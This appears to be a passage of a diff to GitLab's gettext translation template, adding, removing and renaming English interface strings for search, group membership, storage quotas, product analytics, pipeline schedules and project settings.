@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
